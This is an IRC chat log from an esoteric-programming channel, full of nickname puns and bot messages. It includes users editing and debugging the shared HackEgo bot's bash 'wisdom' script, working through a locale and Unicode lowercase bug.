11:43:00 <lambdabot> hppavilion[1] said 11h 54m 12s ago: I can't take your exclamation seriously if they end with an exclamation mark but don't start with an inverted question mark hth
11:43:00 <lambdabot> oerjan said 11h 52m 37s ago: <boily> this is horrible! terrible! odious! outrageous! egregious! miasmatic! abhorrent! <-- running away before i can do my porthello? i agree.
11:43:00 <lambdabot> Etaoin said 11h 51m 30s ago: hey boily I just wanted to @tell you something cause everyone else did. I wanted to feel included cause my girlfriend just left me after 2 years
11:43:00 <lambdabot> Koen_ said 11h 47m 30s ago: terrible and odious? tedious!
11:43:01 <lambdabot> shachaf said 11h 44m 11s ago: this message is secret. please don't @messages-loud it in the channel twh
11:43:02 <lambdabot> shachaf said 11h 37m 37s ago: rainbhellow
11:43:04 <lambdabot> HackEgo said 11h 34m 23s ago: HellockEgo
11:43:06 <boily> wooooooooah...
11:43:06 <lambdabot> Etaoin said 11h 32m 9s ago: we're just spamming you at this point tbh
11:43:08 <boily> AAAAAAAAAAAAAAAAAAAAAAAH!
11:44:16 <boily> @tell hppavilion[1] hppavellon[1]. ¡!.
11:44:16 <lambdabot> Consider it noted.
11:44:35 <boily> @tell oerjan hellørjan. I shall remain for the contraporthello hth
11:44:35 <lambdabot> Consider it noted.
11:44:47 <boily> @tell Etaoin beuh :(
11:44:47 <lambdabot> Consider it noted.
11:45:21 <boily> @tell Koen Kelloen. I shall mapole you.
11:45:21 <lambdabot> Consider it noted.
11:45:27 <boily> @tell Koen_ Kelloen_. I shall mapole you.
11:45:27 <lambdabot> Consider it noted.
11:45:32 <boily> @tell Koen__ Kelloen__. I shall mapole you.
11:45:32 <lambdabot> Consider it noted.
11:45:44 <Koen__> Helloily
11:46:03 <boily> @tell shachaf hellochaf. I always get tripped up by not publicly massaging you.
11:46:03 <lambdabot> Consider it noted.
11:46:12 <boily> @tell shachaf so many colours!
11:46:12 <lambdabot> Consider it noted.
11:46:22 <boily> @tell shachaf did you type the colour codes yourself twh
11:46:22 <lambdabot> Consider it noted.
11:46:41 <boily> wait. that one was from HackEgo???
11:46:44 <Koen__> @tell boily would you help me solve my nick problem? I need to pick a nick easily recognizable for those who know me as Koen, but which is not already registered on freenode
11:46:44 <lambdabot> Consider it noted.
11:47:13 <boily> @massages-loud
11:47:13 <lambdabot> Koen__ said 29s ago: would you help me solve my nick problem? I need to pick a nick easily recognizable for those who know me as Koen, but which is not already registered on freenode
11:47:28 <int-e> spammers!
11:47:35 <boily> uuuuh... something about your name?
11:48:01 <boily> don't you have any alternative nicks? remnants of a past identity? favourite colours?
11:48:12 <boily> @tell Etaoin spam spam spam spam ♪
11:48:12 <lambdabot> Consider it noted.
11:48:57 <Koen__> on blognomic I was Ltn_Koen but I'm not in the army so that's a bit ridiculous
11:49:20 <int-e> colors, hmm. "turquoise" is free.
11:49:37 <Koen__> turKoense
11:49:39 <boily> Turquoen__
11:50:27 <int-e> pfft. "Unknown command: whoise"
11:51:08 <int-e> `? tupology
11:51:12 <HackEgo> tupology? ¯\(°​_o)/¯
11:51:13 <Koen__> I could make it LeKoen so it sounds more french
11:51:32 <b_jonas> um
11:51:36 <b_jonas> neoK
11:51:38 <int-e> `learn Typology is the study of typological errors.
11:51:40 <b_jonas> or does that sound too stupid?
11:51:43 <HackEgo> Learned 'typology': Typology is the study of typological errors.
11:51:46 <Koen__> that sounds korean
11:51:50 <int-e> `learn Typology is the study of typographical errors.
11:51:57 <HackEgo> Relearned 'typology': Typology is the study of typographical errors.
11:52:05 <int-e> meh, that stupid brain of mine got distracted halfway.
11:52:54 <int-e> . o O ( oh look, a butterfly! )
11:53:22 <b_jonas> and you can't use Køen as an irc nick
11:54:50 <b_jonas> squirrel!
11:55:32 -!- Koen__ has changed nick to LKoen.
11:55:39 -!- int-e has left ("PREDICTABLE CHICKEN").
11:55:39 -!- int-e has joined.
11:55:59 <int-e> (since boily seems to have missed his cue)
11:56:19 <boily> I wasn't playing crawl! la la la la la ♪
11:57:30 <b_jonas> ah yes, prefixing one letter
11:57:33 <b_jonas> classic solution
11:57:43 <b_jonas> that's what I did too when I figured that "jonas" is too common a name
11:57:47 <b_jonas> I prefixed "b_"
11:57:54 <LKoen> yup
11:58:25 <int-e> . o O ( /nick hint-e )
11:58:40 <b_jonas> although "hellkooen" might sound strange
12:22:32 -!- boily has quit (Quit: UNPREDICTABLE CHICKEN).
14:21:53 <quintopia> @tell boily I noticed you have run out of massages. Here's another to refill your massage bin.
14:21:53 <lambdabot> Consider it noted.
14:33:21 <izabera> TODAY IS CAPS LOCK DAY https://en.wikipedia.org/wiki/Caps_lock#International_Caps_Lock_Day
14:35:16 -!- spiette has joined.
14:44:02 -!- Sgeo_ has quit (Ping timeout: 260 seconds).
14:48:07 <LKoen> what are you gonna do about it?
14:48:26 <izabera> SCREAM
14:48:30 <izabera> ALL DAY LONG
14:54:04 -!- `^_^v has joined.
15:34:41 -!- FreeFull has quit (Quit: rebooting).
15:43:17 <b_jonas> `? caps lock
15:43:30 <HackEgo> CAPS LOCK IS CRUISE CONTROL FOR TIRED OLD MEMES
15:45:33 -!- FreeFull has joined.
16:03:16 -!- bender_ has joined.
16:22:39 -!- bender_ has quit (Ping timeout: 264 seconds).
16:31:19 -!- Sgeo_ has joined.
16:43:13 <\oren\> I used \ but I guess w_oren or just woren could have worked
16:43:13 <myname> caps lock day is way less awesome since there are two of them
16:48:13 <b_jonas> \oren\: what? aren't you the only oren?
16:48:40 <b_jonas> `? oren
16:48:47 <HackEgo> oren is a Canadian esolanger who would like to obliterate time zones so that he can talk to his father who lives in the same house. He'll orobablu get the hang of toycj tuping soon. He also has a rabid hatred of the two-storey lowercase a.
16:48:58 <izabera> `? \oren\
16:49:01 <HackEgo> ​\oren\ is an attempt to improve upon oren. The only thing it actually improved was name recognizability, and it made everything else... well, there isn't much else in a nick, is there?
16:49:32 <b_jonas> or was that to distinguish yourself more from oerjan?
16:55:59 -!- augur has joined.
17:01:59 -!- Reece` has joined.
17:03:28 <FireFly> `! \oren\
17:03:32 <HackEgo> ​/hackenv/bin/!: 4: exec: ibin/\oren\: not found
17:03:45 <FireFly> a
17:10:56 -!- augur has quit (Remote host closed the connection).
17:11:34 -!- augur has joined.
17:16:22 -!- augur has quit (Ping timeout: 252 seconds).
17:16:50 -!- atrapado has joined.
17:23:37 -!- Etaoin has joined.
17:23:41 <Etaoin> halo
17:24:58 <int-e> shiny
17:25:06 -!- augur has joined.
17:25:06 <b_jonas> `wisdom
17:25:19 <HackEgo> sftm//SFTM is the Science Fiction Theory of Mail.
17:27:37 <Etaoin> `widsom
17:27:42 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: widsom: not found
17:28:07 <b_jonas> `wisdom
17:28:09 <HackEgo> ghci//GHCi is a local version of lambdabot. Cool, huh?
17:28:59 <izabera> without the useful @tell
17:29:45 <izabera> `` ln -s wisdom bin/widsom
17:29:51 <HackEgo> No output.
17:29:57 <izabera> `` type wisdom widsom
17:29:58 <HackEgo> wisdom is /hackenv/bin/wisdom \ widsom is /hackenv/bin/widsom
18:01:29 -!- `^_^v has quit (Quit: This computer has gone to sleep).
18:06:05 -!- `^_^v has joined.
18:12:44 -!- augur has quit (Remote host closed the connection).
18:15:32 -!- AnotherTest has joined.
18:19:27 -!- atrapado has quit (Quit: Leaving).
18:27:57 -!- AnotherTest has quit (Ping timeout: 244 seconds).
18:37:01 -!- AnotherTest has joined.
18:41:27 -!- AnotherTest has quit (Ping timeout: 246 seconds).
18:49:27 -!- espes__ has changed nick to espes.
18:55:16 -!- AnotherTest has joined.
18:58:24 -!- Kaynato has joined.
19:02:38 -!- moonythedwarf has joined.
19:02:42 -!- AnotherTest has quit (Ping timeout: 276 seconds).
19:02:59 -!- moonythedwarf has changed nick to moon__.
19:03:32 <moon__> Mooo
19:14:38 <Etaoin> mooo
19:23:12 <Etaoin> if we set a certain program to compile with all warnings turned to errors and having it display the same error if it happens more times believe we could take the stderr output and use it as a turing complete program
19:24:22 -!- `^_^v has quit (Quit: This computer has gone to sleep).
19:24:31 -!- `^_^v has joined.
19:36:16 -!- ybden has changed nick to YBDEN.
19:36:34 <moon__> hi ybden
19:36:46 <YBDEN> HI MOON__
19:36:50 <moon__> you know hbot is still alive and is now on a dedi? :P
19:37:13 -!- zgrep has changed nick to ZGREP.
19:38:29 <moon__> you can use it again in #hbot YBDEN
19:42:33 -!- moon__ has quit (Ping timeout: 240 seconds).
19:42:46 -!- jaboja has joined.
19:44:07 -!- moon__ has joined.
19:45:35 <Etaoin> what's hbot?
19:48:04 <moon__> shell bot similar to hbot
19:48:07 <moon__> *hackego
19:48:08 <moon__> wow
19:48:14 <moon__> im not thinking today
19:48:25 <moon__> you use the shell via >>> <command>
19:48:42 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
20:09:31 <zzo38> For a new kind of X protocol I would to completely redo the keysyms I think. They are now 24-bit keysyms, where bit23 is the vendor bit, bit22 is the keypad bit, bit21 is the Unicode bit, and bit20 is the control bit unless the Unicode bit is set. Zero still means NoSymbol. Keysyms less than 65536 are UTCE keysyms. (All printable ASCII characters still have the same keysym as X11.)
20:17:11 -!- APic has quit (Ping timeout: 240 seconds).
20:18:45 -!- ZGREP has changed nick to zgrep.
20:19:47 -!- YBDEN has changed nick to ybden.
20:26:48 <Etaoin> `wisdom
20:27:01 <izabera> `widsom
20:27:23 <HackEgo> precision//78.75211317% of the time precision is totally overrated.
20:27:23 <HackEgo> firefly//FireFly was a short-running but well-loved sci-fi TV series released in 2003, starring Nathan Fillion and directed and written by Joss Whedon.
20:31:59 -!- `^_^v has quit (Quit: This computer has gone to sleep).
20:33:14 -!- Reece` has quit (Ping timeout: 260 seconds).
20:34:46 -!- `^_^v has joined.
20:38:15 -!- jaboja has quit (Ping timeout: 264 seconds).
20:39:41 -!- ^v has quit (Remote host closed the connection).
20:49:10 -!- ^v has joined.
20:49:58 -!- moon__ has changed nick to moonythedwarf.
20:50:17 -!- moonythedwarf has changed nick to moon__.
20:52:15 <shachaf> `quote multiset
20:52:17 <HackEgo> 666) <monqy> kallisti: by ordered multiset did you mean: list??????
20:52:25 <shachaf> @messages-loud
20:52:25 <lambdabot> boily said 9h 6m 21s ago: hellochaf. I always get tripped up by not publicly massaging you.
20:52:25 <lambdabot> boily said 9h 6m 12s ago: so many colours!
20:52:25 <lambdabot> boily said 9h 6m 2s ago: did you type the colour codes yourself twh
20:52:42 <shachaf> @tell boily no hth
20:52:42 <lambdabot> Consider it noted.
20:56:24 -!- wob_jonas has joined.
21:07:15 <wob_jonas> Whoa! I've never before seen a Savage Chickens strip that looks like it's an xkcd strip, but today's really does: http://www.savagechickens.com/2016/06/vader-buttons.html
21:11:55 <zzo38> One idea I have for new kind of X protocol also is to allow any drawable, colormap, or font, to have a will, which is a queue of clients. Any client that disconnects is removed from all wills. When a client disconnects, everything with a nonempty will will now be owned by the first client listed in its will and it will be removed from the queue, and the client that now owns it receives a WillNotify event. Any selections belonging to a window that
21:12:53 <wob_jonas> oh, "will" as in a testament
21:13:28 <wob_jonas> also, zzo38, I think your message is too long and trunc'd
21:14:11 <zzo38> When a client disconnects, everything with a nonempty will will now be owned by the first client listed in its will and it will be removed from the queue, and the client that now owns it receives a WillNotify event. Any selections belonging to a window that changed ownership in this way are also now owned by the new owner of the window.
21:14:16 <zzo38> Maybe now it is not truncated?
21:14:30 -!- jaboja has joined.
21:14:38 <wob_jonas> yup, now it's not truncated
21:14:53 <Taneb> wob_jonas, what's with the wo
21:15:47 <wob_jonas> Taneb: "wob" in the sense of http://www.xkcd.com/148/ , for I'm connected through the wob-based irc client Kiwi, and also it ends in "b"
21:15:53 <fizzie> I keep reading them either as "world of" or "web of".
21:17:37 -!- contrapumpkin has joined.
21:20:43 -!- copumpkin has quit (Ping timeout: 258 seconds).
21:25:12 <FireFly> `cat bin/widsom
21:25:15 <HackEgo> F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
21:25:28 <FireFly> `` ls -l bin/widsom
21:25:30 <HackEgo> lrwxrwxrwx 1 5000 0 6 Jun 28 16:29 bin/widsom -> wisdom
21:25:35 <FireFly> I see
21:28:05 -!- contrapumpkin has changed nick to copumpkin.
21:33:46 <izabera> `` sed -i 's/(echo "\$1" | lowercase)/{1,,}/' bin/wisdom
21:33:51 <HackEgo> No output.
21:34:20 <shachaf> `cat bin/wisdom
21:34:22 <HackEgo> F="$(find wisdom -path "wisdom/*${1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
21:34:23 <shachaf> `before
21:34:41 <HackEgo> bin/wisdom//F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
21:35:28 <izabera> `` sed -i 's/cat "\$F" | rnooodl/rnooodl < "$F"/' bin/wisdom
21:35:31 <HackEgo> No output.
21:35:47 <izabera> `` sed -i 'y/F/f/' bin/wisdom
21:35:50 <HackEgo> No output.
21:36:04 <shachaf> You should use sled rather than sed
21:36:10 <izabera> what is it?
21:36:11 <shachaf> That way it prints out the new version.
21:36:35 <shachaf> Also cat file | cmd is better than cmd < file
21:36:37 <izabera> that's fairly pointless
21:36:41 <izabera> what
21:36:43 <izabera> no
21:36:45 <izabera> why
21:37:14 <shachaf> No, it's not pointless at all. Other people need to see what you're doing.
21:37:14 <zzo38> It won't work for programs that require stdin to be a file.
21:39:16 <izabera> they can just trust me
21:40:50 <izabera> what if someone queries HackEgo and makes changes without telling you?
21:41:53 <shachaf> Then they're being a jerk about it too.
21:46:47 <wob_jonas> Is saying a "store" instead of a "shop" (for a place where goods are sold) a difference in meaning, or does it mostly just depend on which side of the ocean you are?
21:49:15 <wob_jonas> apparently both
21:50:05 -!- AnotherTest has joined.
21:58:26 -!- Akaibu has joined.
22:06:35 <wob_jonas> `? store
22:06:38 <HackEgo> store? ¯\(°​_o)/¯
22:06:55 -!- LKoen has joined.
22:09:24 <wob_jonas> `wisdom
22:09:29 <HackEgo> internationale//You have been reported to the House Un-American Activities Committee.
22:15:18 <shachaf> `cat bin/wisdom
22:15:20 <HackEgo> f="$(find wisdom -path "wisdom/*${1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"
22:15:41 <shachaf> I'm tempted to have it write out $f into a file in tmp/.
22:15:51 <shachaf> So that you can culpritslast it.
22:15:57 <shachaf> `culprits wisdom/internationale
22:16:04 <HackEgo> oerjan oerjan elliott Bike FreeFull ais523 ais523 elliott FreeFull oerjan FreeFull oerjan FreeFull oerjan
22:19:03 -!- bauen1 has quit (Ping timeout: 264 seconds).
22:20:16 <shachaf> `hog wisdom/internationale
22:20:23 <HackEgo> ​<oerjan> ` sed -i \'s/$/./\' wisdom/internationale \ <Bike> revert \ <FreeFull> for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ <oerjan> run echo "You have been reported to the House Un-American Activities Committee" > wisdom/internationale
22:21:56 <FreeFull> Hi
22:24:09 <shachaf> oerjan: presumably all your activities are un-american?
22:27:28 <izabera> fucking commie
22:32:13 -!- bauen1 has joined.
22:33:51 <izabera> https://www.reddit.com/live/x6320sn8e8e8 28 dead at istanbul airport...
22:36:54 -!- AnotherTest has quit (Ping timeout: 260 seconds).
22:39:16 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:40:03 -!- bauen1 has quit (Ping timeout: 264 seconds).
22:43:51 -!- Sprocklem has quit (Ping timeout: 244 seconds).
22:47:20 <wob_jonas> `bobadventureslist 2016-05-28
22:47:21 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bobadventureslist: not found
22:47:39 <wob_jonas> um, don't we have that list?
22:47:52 <wob_jonas> ``` /bin/ls wisdom/b*list
22:47:53 <HackEgo> wisdom/bardsworthlist \ wisdom/bdsmreclist
22:47:56 <wob_jonas> nope
22:50:13 -!- jaboja has quit (Read error: Connection reset by peer).
23:03:22 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
23:04:14 -!- jaboja has joined.
23:09:43 -!- boily has joined.
23:11:34 <boily> @massages-loud
23:11:34 <lambdabot> quintopia said 8h 49m 40s ago: I noticed you have run out of massages. Here's another to refill your massage bin.
23:11:35 <lambdabot> shachaf said 2h 18m 52s ago: no hth
23:14:08 <quintopia> helloily
23:15:44 <boily> quinthellopia!
23:15:57 <boily> the massage was fullfilling!
23:16:32 * boily is hungry
23:16:41 -!- boily has quit (Quit: CRYPTO CHICKEN).
23:37:06 -!- bauen1 has joined.
23:54:17 -!- oerjan has joined.
2016-06-29
00:03:54 <oerjan> @messages-flood
00:03:54 <lambdabot> boily said 12h 19m 19s ago: hellørjan. I shall remain for the contraporthello hth
00:05:16 -!- jaboja has quit (Remote host closed the connection).
00:05:25 <oerjan> @tell boily <boily> @tell Koen Kelloen. I shall mapole you. <-- warning: koen isn't actually koen_'s nick hth
00:05:25 <lambdabot> Consider it noted.
00:05:33 -!- spiette has quit (Ping timeout: 240 seconds).
00:10:32 -!- bauen1 has quit (Ping timeout: 258 seconds).
00:12:25 -!- LKoen has changed nick to Koen.
00:12:27 <Koen> well
00:12:34 <Koen> @massages-loud
00:12:34 <lambdabot> boily said 12h 27m 13s ago: Kelloen. I shall mapole you.
00:12:38 -!- Koen has changed nick to LKoen.
00:13:35 <quintopia> what is the most boring movie
00:13:57 <oerjan> LKoen: he also sent it to two _pended versions
00:14:36 <quintopia> oerjan: it probs gets auto-deleted after a while
00:14:37 <oerjan> quintopia: The Core hth
00:14:55 <oerjan> quintopia: not to my knowledge.
00:14:57 <LKoen> what happens if I touch an executable while it's being executed?
00:15:04 <LKoen> specifically if I recompile it
00:16:35 <shachaf> oerjan: how many days have you gone without a single pun twh
00:18:11 <quintopia> is there a verb for "to multiply by 16" on the same line as double, triple, quadruple...
00:18:20 <quintopia> hexadecuple?
00:18:44 <quintopia> LKoen: nothing.
00:18:53 <quintopia> (usually)
00:19:18 <oerjan> shachaf: no idea.
00:19:49 <quintopia> oerjan: you can go forever if you always make double puns hth
00:19:50 <shachaf> does the number exceed 1
00:20:11 <oerjan> shachaf: well do you count the days before i learned to speak? :P
00:20:23 <oerjan> also i probably didn't pun much before my student days.
00:20:29 <quintopia> oerjan: how old were you at first pun twh
00:20:31 <shachaf> i kind of assumed you'd always been around hth
00:20:42 <shachaf> anyway let's only count days that you were online on irc
00:20:51 <oerjan> bah
00:21:10 <oerjan> still no idea. i don't exactly remember when i started punning obsessively.
00:21:24 <shachaf> whoa whoa whoa
00:21:24 <oerjan> might have been after i arrived here.
00:21:27 <shachaf> remember that play with stoppard?
00:21:30 <shachaf> by stoppard
00:21:33 <oerjan> no.
00:21:34 <shachaf> https://4thwall.wordpress.com/notable-quotes-from-stoppards-coast-of-utopia/
00:21:36 <shachaf> tg
00:21:38 <Etaoin> guys I need a bit of help and this is pretty damn noobish, but I'm having trouble with executing commands from a python script. I'm making a messenger bot for fun and I can't find a way to send commands to a terminal and have it keep its state
00:21:52 <quintopia> i like to think stoppard is the tom in tom swifties
00:21:56 <Etaoin> is there some nice way of doing this?
00:23:58 <quintopia> there's a library for that
00:24:13 -!- augur has joined.
00:24:14 <Etaoin> subprocess?
00:24:59 <Etaoin> with it I can only execute commands and it basically closes the terminal immediately so for instance calling "cd .." won't do anything
00:25:21 <quintopia> https://docs.python.org/2/library/readline.html
00:25:46 <quintopia> this may not be what you're trying to do
00:26:05 <LKoen> quintopia: thank you
00:26:40 <quintopia> is hexadecuple a word
00:27:56 <Etaoin> when I think about it, I don't think the user should be able to cd around anyway so might as well leave it at this
00:27:58 <oerjan> quintopia: https://en.wiktionary.org/wiki/sedecuple
00:29:12 <oerjan> that's actually the logical form...
00:29:52 <oerjan> well somewhat logical anyway
00:39:24 <zzo38> The documentation for XrmQPutResource does not quite make it clear what is stored in the database. Does it store value, *value, or a copy of the data pointed to by value->addr?
00:40:16 <oerjan> `wisdom Ørjan
00:40:46 <HackEgo> ​///hackenv/bin/wisdom: line 1: : No such file or directory
00:40:53 <oerjan> thought so.
00:43:45 -!- MoALTz has quit (Quit: Leaving).
00:44:12 <zzo38> (It isn't the first one at least)
00:45:46 <oerjan> `` hg cat -r 8614 bin/wisdom
00:46:03 * oerjan approaches HackEgo with a mallet
00:46:09 <HackEgo> F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnoooooodl; cat "$F" | rnooooooodl
00:49:38 <oerjan> `sled bin/wisdom//s/[{}1,,[}]/(echo "$1" | lowercase)*"
00:49:41 <oerjan> argh
00:49:44 <HackEgo> sed: -e expression #1, char 38: unterminated `s' command
00:50:07 <oerjan> `sled bin/wisdom//s/[{}1,,[}]/(echo "$1" | lowercase)/
00:50:13 <HackEgo> bin/wisdom//f="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"
00:50:20 <oerjan> WAT
00:50:30 <oerjan> `revert
00:51:02 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
00:52:15 <oerjan> `cat bin/wisdom
00:52:18 <HackEgo> f="$(find wisdom -path "wisdom/*${1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"
00:53:04 <oerjan> `` sed 's/[{}1,,[}]/(echo "$1" | lowercase)/' bin/wisdom
00:53:07 <HackEgo> f="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnoooooodl; rnooooooooodl < "$f"
00:53:21 <oerjan> WHY IN THE WORLD IS THAT 1,, IN THE RESULT
00:53:23 -!- boily has joined.
00:53:27 <oerjan> hily
00:53:35 <boily> hellørjan.
00:53:57 <oerjan> sed is driving me insane tdnh
00:55:10 <boily> @massages-loud
00:55:10 <lambdabot> oerjan said 49m 44s ago: <boily> @tell Koen Kelloen. I shall mapole you. <-- warning: koen isn't actually koen_'s nick hth
00:55:54 <boily> because I am not sed, I am sane. cqfd.
00:56:07 <boily> s/cqfd/qed/
00:56:22 <oerjan> `revert 8635
00:56:25 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
00:57:50 <oerjan> i was going to do it more subtly but when sed does impossible things...
00:58:04 <oerjan> `wisdom Ørjan
00:58:08 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
00:58:13 <oerjan> there you go.
01:00:32 * oerjan thinks his blood sugar has crashed too, that's what happens after he has ice cream...
01:00:50 <oerjan> does wonders my patience
01:00:54 <oerjan> *+for
01:02:55 <boily> I could use some ice cream too..
01:03:03 -!- moon__ has quit (Ping timeout: 240 seconds).
01:03:04 * boily scoops a bowl
01:03:16 -!- moon__ has joined.
01:03:24 -!- augur has quit (Remote host closed the connection).
01:03:42 * oerjan gobbles a half slice of bread
01:04:53 <oerjan> @tell izabera <izabera> `` sed -i 's/(echo "\$1" | lowercase)/{1,,}/' bin/wisdom <-- those are not actually equivalent and i'm partial to the counterexample so i've reverted you
01:04:53 <lambdabot> Consider it noted.
01:05:17 <izabera> what counterexample?
01:05:23 <oerjan> `wisdom Ørjan
01:05:27 <HackEgo> ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
01:05:38 <izabera> `` type lowercase
01:05:39 <HackEgo> lowercase is /hackenv/bin/lowercase
01:05:45 <izabera> `` paste bin/lowercase
01:05:51 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/lowercase
01:06:00 <izabera> wat
01:06:12 <oerjan> `cat bin/lowercase
01:06:24 <HackEgo> ​#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g'
01:06:33 <oerjan> yep, it was created for that one entry :P
01:06:42 <oerjan> well
01:06:59 <izabera> `` echo $LANG
01:07:02 <oerjan> and for learning things with Ø i guess
01:07:02 <HackEgo> en_NZ.UTF-8
01:07:16 <oerjan> izabera: erm the `` versions don't all use the same LANG
01:07:27 <izabera> come on
01:07:50 <oerjan> `cat bin/``
01:07:52 <HackEgo> ​#!/bin/sh \ export LANG=C; exec bash -O extglob -c "$@" | rnooodl
01:07:55 <oerjan> especially that one
01:08:10 <izabera> why does it use LANG=C ?
01:08:52 <boily> because otherwise it'd be LANG=en_NZ hth
01:08:57 <oerjan> so that sort etc. works sanely
01:09:24 <izabera> `cat bin/wisdom
01:09:26 <HackEgo> F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
01:09:34 <oerjan> (that's for ``` btw. `` is of course bin/`
01:09:35 <oerjan> )
01:09:38 <izabera> `locale -a
01:10:03 <HackEgo> aa_DJ \ aa_DJ.utf8 \ aa_ER \ aa_ER@saaho \ aa_ET \ af_ZA \ af_ZA.utf8 \ am_ET \ an_ES \ an_ES.utf8 \ ar_AE \ ar_AE.utf8 \ ar_BH \ ar_BH.utf8 \ ar_DZ \ ar_DZ.utf8 \ ar_EG \ ar_EG.utf8 \ ar_IN \ ar_IQ \ ar_IQ.utf8 \ ar_JO \ ar_JO.utf8 \ ar_KW \ ar_KW.utf8 \ ar_LB \ ar_LB.utf8 \ ar_LY \ ar_LY.utf8 \ ar_MA \ ar_MA.utf8 \ ar_OM \ ar_OM.utf8 \ ar_QA \ ar
01:10:05 <oerjan> also, lowercase is shared with other commands.
01:11:36 <oerjan> so it's used uniformly so that all of them apply the same transformation.
01:11:40 <izabera> `` printf %s\\n LANG=en_NZ.UTF-8 'f=$(find wisdom -path "wisdom/*${1,,}" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom
01:11:49 <HackEgo> No output.
01:11:52 <oerjan> wat
01:12:00 <oerjan> what makes you think that works
01:12:03 <oerjan> `wisdom Ørjan
01:12:08 <HackEgo> ​///hackenv/bin/wisdom: line 2: : No such file or directory
01:12:11 <oerjan> `revert
01:12:19 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
01:12:22 <oerjan> it's precisely the locale it uses by default
01:12:41 <izabera> `` printf %s\\n LANG=en_US.UTF-8 'f=$(find wisdom -path "wisdom/*${1,,}" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom
01:12:46 <HackEgo> No output.
01:12:55 <izabera> `wisdom Ørjan
01:12:58 <HackEgo> ​///hackenv/bin/wisdom: line 2: : No such file or directory
01:13:02 <izabera> why this
01:13:20 <izabera> `` cat bin/wisdom
01:13:21 <HackEgo> LANG=en_US.UTF-8 \ f=$(find wisdom -path "wisdom/*${1,,}" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooooooooodl; rnooodl < "$f"
01:13:54 <oerjan> also we have a nice `mkx command :(
01:14:23 <izabera> `` set -x; source bin/wisdom Ørjan
01:14:26 <HackEgo> ​++ source bin/wisdom $'\303\230rjan' \ +++ LANG=en_US.UTF-8 \ ++++ find wisdom -path 'wisdom/*Ørjan' -type f -print0 \ ++++ shuf -z -n1 \ +++ f= \ +++ rnooodl \ +++ echo -n // \ +++ rnooodl \ bin/wisdom: line 2: : No such file or directory \ //
01:14:59 <izabera> `` echo $BASH_VERSIOn
01:15:01 <HackEgo> No output.
01:15:01 <izabera> `` echo $BASH_VERSION
01:15:03 <HackEgo> 4.2.37(1)-release
01:15:25 <izabera> it's a bug that got fixed in 4.3
01:15:31 <oerjan> XD
01:15:31 <izabera> `revert
01:15:34 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
01:15:41 <oerjan> figures
01:15:46 <izabera> `cat bin/wisdom
01:15:48 <HackEgo> F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
01:15:57 <izabera> at least let me fix that other shit
01:16:17 <oerjan> sorry i was reverting everything just because sed ganged up on me
01:16:45 <oerjan> `? Å
01:16:47 <HackEgo> ​Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters.
01:16:50 <oerjan> `? å
01:16:52 <HackEgo> ​å is the same letter as Å, unless you're HackEgo and don't understand things on top of letters.
01:16:59 <izabera> `` echo tr A-ZØ a-zø > bin/lowercase
01:17:03 <HackEgo> No output.
01:17:04 <oerjan> hm how does that even work
01:17:04 <izabera> `wisdom Ørjan
01:17:05 <HackEgo> ​//cat: : No such file or directory
01:17:10 <izabera> fffuuu
01:17:13 <oerjan> `before
01:17:25 <HackEgo> bin/lowercase//#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g'
01:17:33 <oerjan> tr doesn't handle utf-8, i guess
01:17:38 <izabera> it doesn't have to
01:17:50 <izabera> `` set -x; source bin/wisdom Ørjan
